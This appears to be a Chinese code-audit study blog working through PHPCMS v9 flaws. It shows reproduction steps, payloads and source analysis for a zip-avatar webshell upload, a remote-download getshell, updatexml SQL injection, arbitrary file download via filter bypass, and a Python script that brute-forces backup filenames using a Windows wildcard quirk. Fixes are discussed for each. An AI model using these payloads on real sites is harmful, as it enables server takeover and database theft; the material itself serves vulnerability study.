PHPCMSV9版本代码审计学习
阅读原文时间:2021年07月16日阅读:1

学习代码审计,自己简单记录一下。如有错误望师傅斧正。

PHPCMS预备知识

PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。

参数名称

描述

位置

备注

m

模型/模块名称

phpcms/modules中模块目录名称

必须

c

控制器名称

phpcms/modules/模块/*.php 文件名称

必须

a

事件名称

phpcms/modules/模块/*.php 中方法名称

漏洞复现

我们搭建好环境直接注册,找到修改头像。

)

我们在本地创建一个zip文件里面包含一个文件夹,一个我们的恶意代码。通过Burp修改掉。

访问phpsso_server/uploadfile/avatar/1/1/1/av/av.php 其中1是我们的uid

漏洞分析

重复以上步骤。通过burp我们找到上传事件,我们直接去代码定位这个函数。

然后去代码找到函数直接断点调试

根据用户UID创建文件夹,防止用户多了文件夹重复创建了两次,然后检测目录创建,没有就创建一次,否则跳过。

根据uid重命名我们的压缩包文件

压缩包的文件就是我们上传的压缩包文件

之后进行解压缩文件

之后进入dir中循环判断文件安全,删除压缩包和非jpg图片

走到遍历白名单判断文件,排除.(当前目录)..(上级目录)下图删除了压缩包文件

再次循环时$file=av 而av是目录。unlink是不能删除目录的。所以出现异常。

所以进而我们的恶意文件留在了服务器里面。这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下

漏洞修复

不使用zip压缩包处理图片文件。因为后端需要处理特别多的数据。

漏洞复现

先注册然后抓包

其中要准备一个远程的服务器下的恶意代码

准备我们的POC如下

siteid=1&modelid=11&username=123456&password=123456&email=12345@qq.com&info[content]=<img src=http://192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

然后修改放包会报一个错误,会返回我们的URL路径

漏洞分析

我们直接找到刚刚我们的包,他是在index.php进入member模块中的index文件里面有一个register函数

我们现在打开我们的代码定位函数,路径如下

为了更好的理解POC的巧妙。我们正常注册一次然后用POC注册一次分析

前面就是一堆信息的验证作用不大,我们继续跟踪到130行

if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);   //重点                        }

在这里我们看见$_POST['info']使用了member_input类中的get方法我们跟踪进去。

走到47行获取了datatime函数,this->fields是一个动态函数对应的一张表根据modelid来确定的formytpe。如下图

【也可以跟进去一步步来,微信搜索黑白天的文章。有详细解释,建议自己跟一遍】

我那们跟进去datatime函数 就是做了一校验然后又返回给$value

然后就是插入两次数据库,一个插入v9_member表一个生日日期和用户id插入到v9_member_detail表中,至此正常流程走完。

接下来我们分析一下POC流程

值得注意的是我们必须保证username email是唯一

然后我们继续定位到130行,发现content是我们的内容

经过new_html_special_chars就是防止XSS 所以实体化

于是我们变成了下面这样子。继续跟踪get方法同上

这里我们获取的是editor函数。

在这个函数中我们有一个download方法

我们跟踪download方法,发现以下关键代码

$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这就是为什么我们写info[content]=<img src-http://xxxx/phpinfo.txt?.php#.jpg(符合这个格式,而且加.jpg的原因)

到155行这里他把我们的$string值复制给了$matches

$matches [3]刚好是我们的链接,所以真的很巧妙

接着我们跟踪fillurl方法,里面有一串关键代码如下

$pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);

strpos定位#,然后使用substr处理?.php#.jpg,处理完之后$surl =?.php继续执行,可以发现返回的url去掉了#后面的内容

然后获取后缀名。然后通过getname方法生成时间+三位数的文件名,如果不返回文件地址的url我们也可以进行爆破处理。

此时进行了copy函数对远程文件下载

这里的$this->upload_func是copy函数的原因,是因为初始化时赋给的

此时我们的文件已经到我们的本地了

接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register 函数中:

继续跟进$this->db->insert($user_model_info); 发现数据库插入的字段都不一样继续执行就会报错。前台提示的信息一样,没有这个字段当然报错

Message : Unknown column 'content' in 'field list'

漏洞修复

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次

$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename,         array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
             continue;
}

漏洞复现

首先第一步访问

/index.php?m=wap&c=index&siteid=1

把得到的set-cookie 记录下来

第二步以POST方式访问【下面是测试爆user的】就是一个报错注入语句

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

并且传参userid_flash其中的值就是第一步我们得到的set-cookie

userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY

把加密的json值记录下来

第三步以POST的方式访问

/index.php?m=content&c=down&a_k=第二步得到的Json值

漏洞分析

其实我们就是通过最后一次提交的数据来爆出来的东西。我们就逆向分析。看第三步的URL做了些什么

/index.php?m=content&c=down&a_k=第二步得到的Json值

我们定位到content模块down文件中发现并没有a_k方法

说明是自动执行的那就是init()__construct()

__construct()基本没东西,我们直接下断init

走到14行看到sys_auth然后他就是一个加密解密的函数,我们这里不分析加密解密只分析功能

经过sys_auth解密得到

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

走到17行发现一个系统函数parse_str 这个函数用不好容易出现变量覆盖。可以自己查一下

我们知道用法了就是把$id给弄出来

然后直接到26行跟踪get_one函数,发现后面就直接执行语句了。

肯定有人现在好奇那第三步为什么会得到这个值,我们返回到14行

$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

我们怎么得到a_k的值,怎么得到的这个规范进行解密,因为他需要('system','auth_key')我们并不知道

所以我们需要知道谁调用了这个函数

我们回到第二步的POC

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&

userid_flash=Set-Cookie

我们找到attachment模块下的attachments文件中的swfupload_json函数

src时有一个safe_replace函数我们跟进

发现一个waf所以我们的src为什么要写成%*27的原因,就是为了绕过一次waf

继续到set_cookie我们跟进去发现set_cookie调用了sys_auth这个函数并且进行了ENCODE刚好我们又可以再前台看见

至于我们为什么要传入一个POST值,是在__construct中如果没有这个userid他会showmessage

userid是17行的关键代码。我们肯定没有userid嘛所以三元表达式到第三个,他进行解密一次并且userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

现在POST值是怎么拿到的呢,回到第一步,访问的URL

/index.php?m=wap&c=index&siteid=1

我们周到wap下的index下的siteidsiteid直接就在__construct函数里面,于是经过一次set_cookie加密

我们现在来顺利一下整个过程

修复建议

把$a_k过滤一次,把$id用intval过滤一次

漏洞复现

步骤同上一个漏洞所以就不截图了

第一步访问把得到的set-cookie 记录下来

/index.php?m=wap&c=index&siteid=1

第二步访问

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp

同样POST传递值

userid_flash=第一步获取的Set-cookie

第三部访问

/index.php?m=content&c=down&a=init&a_k=第二步获取的set-cookie

就可以下载我们要下载的文件

漏洞分析

我们还是和wap_SQL注入那样逆向分析一下

/index.php?m=content&c=down&a=init&a_k=set-cookie

经过解密之后

{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}

经过safe_replace处理之后

&quotaid&quot:1,&quotsrc&quot:&quotpad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp&quot,&quotfilename&quot:&quot&quot

但是我们关键的是&s和&f没有任何变化

再经过parse_str处理我们的url会被解码一次

$f现在就是.p%3cphp

然后downurl发生变化我们点击下载到download函数

经过一次解密再经过parse_str转码%3c=> <

走到118行因为传递的m=1经过$fileurl把他拼接起来变成

.\phpcms\base.p<hp


if($m) $fileurl = trim($s).trim($fileurl);  //118行代码

然后走到125行进行随机名称生成,126行他又把$fileurl的<给去掉了

$filename = date('Ymd_his').random(3).'.'.$ext;      //125
$fileurl = str_replace(array('<','>'), '',$fileurl);    //126

然后就进行一个原始下载。

第二部分和第一部分参考上面wap_sql注入,原理一样。我们现在梳理一下这个漏洞。

从最下面分析,他过滤了<> 然后到上面php等一些黑名单 那就P<HP就可以

$fileurl是通过$s来的和$f来的。而$f和$s是通过构造$a_k来的,其中就DECODE 了两次

所以要通过siteid=1来进行ENCODE一次。我们为什么要传一个userid_flash

因为attachments下的析构函数中的userid不能为空

而我们没登陆所以需要sys_auth($_POST['userid_flash'],DECODE')解密一下传入的userid_flash使得userid=1

$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));

又经过set_cookie('att_json',$json_str);然后又返回到前台set-cookie

最终通过以下方法进行了下载

index.php?m=content&c=down&a=init&a_k=set-cookie

漏洞修复

官方V9.6.2是先过滤<>再进行php等黑名单过滤,我们还是可以继续通过空白字符来进行绕过的

%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件。并且得到auth_key之后还可以进行其他的操作例如SQL注入等

备份路径 \caches\bakup\default\xxxx.sql

而问题出现在哪,我们先看POC。

poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql

原因:

windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

pwaaov0zodprrm5371pe_db_20210715_1.sql

file_exists --- opendir -- FindFirstFile -- << 通配符

file_exists - << 通配符

333xxxx.sql

3<<.sql

file_exists(3<<.sql)

因为返回的只不同所以我们可以逐个猜解

附上斗鱼Sec脚本

#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
    mark = True
    req = urllib2.Request(url)
    req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
    response = urllib2.urlopen(req)
    content = response.read()
    if 'Cannot' in content:
        mark = False
    return mark
def guest(target):
    arr = []
    num = map(chr, range(48, 58))
    alpha = map(chr, range(97, 123))
    exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
    while True:
        for char in num:
            if check(exploit % (target, ''.join(arr), char)):
                arr.append(char)
                continue

            if len(arr) < 20:
                for char in alpha:
                    if check(exploit % (target, ''.join(arr), char)):
                        arr.append(char)
                        continue

            elif len(arr) == 20:
                arr.append('_db_')

            elif len(arr) == 29:
                arr.append('_1.sql')
                break

            if len(arr) < 1:
                print '[*]not find!'
                return

            print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))

if __name__ == "__main__":
        url = 'http://www.x.com'
        #test
        guest(url)